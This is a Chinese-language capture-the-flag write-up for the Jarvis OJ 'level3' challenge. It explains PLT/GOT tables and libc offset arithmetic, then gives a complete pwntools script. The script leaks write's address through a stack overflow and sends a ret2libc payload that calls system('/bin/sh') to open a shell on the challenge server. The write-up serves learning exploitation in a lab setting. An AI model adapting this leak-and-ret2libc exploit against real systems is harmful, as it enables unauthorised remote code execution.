下载下来发现有level3文件和libc.so文件,先checksec,和level2差不多,接着ida打开level3,没找到system函数和bin字符串,没什么办法了。接着去看so文件,libc是Linux下的ANSI C的函数库。找到了system函数和bin字符串。那么怎么利用呢?
首先了解plt和got表。链接
我是这么理解的:plt表中存放的是函数在got表中该项的地址,got表存放的是函数在内存中的真实地址,也就是说plt[write]指向got[write],got[write]指向write函数在内存中的地址。而plt表在服务器和客户机是一样的,不一样的是函数在内存中的地址。程序运行后加载动态库,把动态库中的相应函数地址填入GOT表。同时还有个知识点,libc文件中不同函数、数据之间的偏移量在服务器和客户机中是一样的。
因此思想是首先利用write函数将服务器中函数的地址泄露,构造write(got[write])。
低 | |
---|---|
pad | |
ebp | |
ret_addr | |
write的参数1,从右到左 | |
write的参数2 | |
write的参数3 | |
高 |
得到服务器中write函数的真实地址。
由于函数在内存中距so文件开头地址是一样的,因此算出offset=服务器函数地址-本地地址,服务器地址即为本地地址+offset。
脚本:
from pwn import *
conn=remote("pwn2.jarvisoj.com","9879")
e=ELF("level3")
libc=ELF("libc-2.19.so")
write_addr=e.symbols['write']
vul_addr=e.symbols['vulnerable_function']
got_addr=e.got['write']
conn.recvuntil("Input:\n")
payload1="a"*0x88+"bbbb"+p32(write_addr)+p32(vul_addr)+p32(1)+p32(got_addr)+p32(4)
conn.send(payload1)
temp = conn.recv(4)
true_address = u32(temp[0:4])
print hex(true_address)
offset=true_address-libc.symbols['write']
bin_addr=libc.search("/bin/sh").next()+offset
sys_addr=libc.symbols['system']+offset
payload2="a"*0x88+"bbbb"+p32(sys_addr)+"junk"+p32(bin_addr)
conn.send(payload2)
conn.interactive()
注意点:
我在p32里运算有问题,拉出来就可以了。
还是有点没想明白,反正先记住:
func1_addr-libc.symbols[func1]==func2_addr-libc.symbols[func2]
,
不知道有没有问题。
好像libc不能用got[’’]